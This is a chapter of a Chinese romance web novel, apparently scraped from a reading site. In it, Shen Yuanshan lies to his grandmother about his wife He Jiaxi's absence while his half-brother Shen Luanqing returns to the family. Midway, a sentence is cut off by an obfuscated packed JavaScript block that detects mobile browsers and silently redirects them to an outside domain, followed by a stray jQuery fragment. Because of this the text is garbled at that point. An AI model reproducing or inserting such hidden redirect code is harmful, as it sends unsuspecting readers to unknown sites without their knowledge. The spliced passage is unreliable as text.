老人家一头银发花白,款步向着二人走来。即便年岁过高,举止行为却优雅端庄,一举一动之间,自带掌权人的气场。
“奶奶,您怎么醒来了?”沈远山朝她展开一个轻浅的笑:“佳汐今天在霁月山庄,没有跟我过来。”
“哦?”老太太眉梢一挑,腕间的翡翠镯子随着走动轻轻一晃,“我今天下午才嘱咐过她,你弟弟回来的第一顿家宴,你们夫妻该一起出席的。”
沈远山一愣,喉结微动。
既然她已在下午跟贺佳汐嘱咐过,那他电话里说的推辞便不攻自破。什么在老太太这儿,什么不回去,堂而皇之的谎言。
可佳汐却没有选择拆穿他,是为什么?
老夫人目光扫过沈远山略显僵硬的笑容,“怎么,她没告诉你?”
“是我的疏忽。”
多年前,老太太便是商界出了名的铁娘子。老爷子走后更是独力撑起整个沈家,雷厉风行,手段了得。
即便现在年过古稀,那双眼睛依然锐利。没人敢在她面前撒谎。
沈远山不动声色地接过话茬,“今天忙过头,想着很久没来看您,就顺路过来了,连家都没来得及回一趟,也就没叫上佳汐。”
说着,他看了一眼沈乱青,“家宴改日一起吃,我想阿青也不会介意吧?”
“放心,”沈乱青斜倚在酒柜旁,修长的手指有一下没一下地敲着吧台,模样几分懒散,“只要不是你故意把新嫂嫂藏起来就行。”
“你这孩子!”老太太闻言轻笑,眼角的皱纹舒展开来,“你哥哪有这么小气。”
目光转向沈远山时,老夫人的眼中竟泛起些许湿意。
“远山,阿青这些年在外不容易,你做哥哥的要多照顾他。不论如何,都是一家人。”
哪怕同年出生,他只比他大几个月。
哪怕他从小与他没有任何交流,也要他当做手足一般对待。
看着老太太眼中罕见的柔情,沈远山胸口无端有些闷得慌,泛起一丝酸涩。即便他再无情无义,也难以抵抗这毫无来由的偏袒。
只因为血浓于水这四个字,他与奶奶相处的近三十年,便如柳似絮的不起眼么。
他木木地掀动嘴唇:“当然。”
垂落眼时,睫下闪过一丝阴翳。
“刚才哥还说很欢迎我回来。”沈乱青唇角微扬,琥珀色的眸子里带着玩味,“我想他肯定会好好照顾我的。”
沈远山不语,望着沈乱青的目光带有一丝研究意味。
“那我就放心了。”
老太太丝毫不觉两人之间的暗流涌动。听见他毫无芥蒂地叫沈远山为哥哥,心底升起一丝欣慰,脸上难得有些许轻松。
她连连感慨,“果然还是血浓于水,一家人互帮互助,人丁兴旺,多好呀。”
有关沈远山父母的恩怨,老太太心里门清。若是睁睁眼、闭只眼,也太过冷漠,毕竟手心手背都是肉。
事情既然发生了,她只能对沈远山好一些。
沈家人丁本就稀疏。
近些年旁支也越发的虎视眈眈,如果不是她一直撑着,并含辛茹苦把沈远山培育出来,想必偌大一个沈家,不出几年时间便早已衰败。
如今能多出一个孙子,老太太哪能不高兴?
人多,就意味着力量大。
她拍了拍沈乱青的手,“远山是你的大哥,你们俩兄弟以后互相扶持。你母亲在英国那边,吃穿用度我都会差人打点好,不用担心。你也常回去看看她。”
这番话的意思和态度都很明确。她不会让沈乱青的母亲——那个难登大雅之堂的女人来到沈家。
另一方面,她也给足了沈远山的面子,顾及着他的感受。
“奶奶,我都听您的。”
他笑起来的时候,眼尾扬到鬓角,像个雾蒙蒙柔和的清晨,吐息都卷着朝气。
“我母亲在那边一切都好,不需要我照顾。我不在身边,她如释重负,从前她就总嫌我烦。”他放下酒杯,有些怅惘地说,“也正好,我刚回国,看哪个都新鲜。”
老太太有些心疼地点点头,“要不是远山工作太忙,我早差他带你出去逛逛了。可惜,这孩子辛苦,连我都常常见不着。”
“大哥真是辛苦,”沈乱青脸上也露出一丝可惜神色,“那嫂嫂呢,您也经常见不着?”
“佳汐倒是还好……”听了这话,老太太心思忽然活泛起来,“她应该闲着,不如明天叫她回来吃个便饭,顺便带阿青出去逛逛。”
说着她看向沈远山,“佳汐最近很忙?都好些日子没过来看我了。”
“……我回头问问她。”
其实贺佳汐的事,沈远山从未过问,只偶尔从李忱嘴里听到只言片语。见他并不多感兴趣,李忱后来也说得少了。
他对贺佳汐的了解仅限于寥寥数面,还有那几次的肌肤之亲。——是一个温柔知趣的女人,偶尔也是他帐中惹人垂怜的妻子。
要说没感情,也不尽然,毕竟结婚半年有余。
要说多有感情……沈远山亦是拿捏不准。至少他对她不像对任清宜上心,她也难以比得过任清宜。
“你们夫妻俩也是怪,我看你这个忙法,连老婆都会忘在霁月山庄吧?”老太太哂笑一声,笑意不达眼底,“佳汐虽说小门小户,但胜在端庄优雅,聪明伶俐,你既然娶了她,就该好好对人家。”
最开始老太太是看不上贺佳汐的。
她父亲,——不,还是继父,不过一个做钢材生意的后辈,祖上也无基业。简单来说,区区一个十几年前吃了红利的暴发户,哪能跟她三代繁荣的沈家做亲家。
可她也知道,这么多年沈远山都不曾动过结婚的想法,是因为心结难消。
难得他从一众相亲人选里主动挑了个人。既然要结,也没所谓。
他们沈家也不是单单凭借婚姻才得以壮阔。
索性贺佳汐给她的印象不错。
并不冒失,说话也有分寸,时常跟着沈远山出席相关慈善活动,在媒体面前十分长脸。尤其婚后,隔三差五就过来拜访她,一聊便是一整天。
时间一长,她也放下了偏见。
一个人,经得住沉淀的还是品行。她对贺佳汐是越看越喜欢。
“奶奶,您说的我知道了……只是集团那帮人确实不太省心,事事我都得看紧点。”沈远山垂下眼帘,“等过段时间清闲了,我会好好陪陪佳汐的。”
“不光要陪,”老太太眼底多了几丝暧昧,“老婆子我年纪也大了,还不知道能活几年,想抱抱重孙。”
沈远山眉头蹙紧,刚想说话,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615392|172211||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被一道哈欠声打断。
“奶奶,我有点困了。”
说这话的人懒懒倚在吧台边,光滑的衬衫垂坠着,跟他整个人一般,没骨头似的。
一头深棕色的发在壁灯映射下,有些昏黄,仿佛生出一团光晕。
老太太笑道:“瞧瞧我,说忘形看。那就都去休息吧,时候不早了,我这个老骨头也经不住熬。”
“哪有的事,”沈乱青直起身子,“奶奶年轻着呢,第一眼见着我还以为是谁的阿姨。”
话有夸张的成分,可老太太还是忍不住笑。
“你这张嘴倒是贫得很。”
也许是从小在国外的原因,沈乱青的性子格外开朗,举手投足间优雅绅士,却又略微风流随性。
与之不同的是沈远山,更为内敛沉稳,平时与老夫人也没有特别多的话题聊,无非围绕工作与家庭。
老太太扶着楼梯,回头看了眼两个孙子。都是模样不凡,一表人才。她看着看着,便觉得心里头十分踏实。
苍老的食指隔空点了点两人,笑得眼睛眯起来,“都少喝点酒!”
沈乱青弯起眉眼,笑眯眯地招手,“好。”
等老太太离开,沈远山也没再逗留,看都不曾看沈乱青一眼,便拎着瓶酒上楼休息了。
仿佛刚才与他和睦地称兄道弟只是幻觉。
他洗了澡,泡在浴缸里,为自己倒了一杯红酒。
落地镜里映射出他结实紧致的肌肉线条。
浴室门没有关,往外看去,可以看到房间墙壁里挂着的结婚照。
贺佳汐倚在他怀里,笑容十分明艳。上了妆的那张脸不再像只小鹿一般无害,反倒多几分气场,迷人又有些危险。
沈远山突然觉得有些燥热。
往常也不是没有烦过,他向来喜怒不形于色,但贺佳汐尤其敏锐,总会在第一时间觉察。
他一直觉得她是个聪明伶俐的女人。从不多说,也不多问,只是轻飘飘给她倒上一杯酒,用软绵湿润的吻,抚平他内心莫名的怨火。
面对感情他总是格外笨拙,很难用言语言说。别人激进他便后退,但他又鲜少往前走。
只有贺佳汐。像水一样温柔的贺佳汐,静悄悄把他包裹起来。等到发觉时,他已经离不开水了。
他突然从心里生出一丝强烈的内疚。
站在他的立场上,其实怎样都没有做错。可他也开始学会共情她了。
想了想,他还是打开微信,给贺佳汐发了一条微信。
【今天下雨,天气有些冷,不要着凉了。】
时间太晚,估摸已经睡了,消息久久没有回音。
沈远山觉得心里有点空。
直到早上的时候,手机突然响起铃声,沈远山还在睡梦中。
梦里贺佳汐不哭不闹,拖着行李箱离开,而他即便不舍得,也没有上前挽留。因为身旁还攥着另一只手。
被电话铃声吵醒时,沈远山心底那丝疼痛还在返潮,他迷迷糊糊按了接听。
对面传来李助理的声音。
“沈先生……”李助理欲言又止。
“说。”
“刚才医院那些菊花的事有眉目了……”
对面有几分忐忑,声音越来越小,“我查到付款账户是……您的副卡。”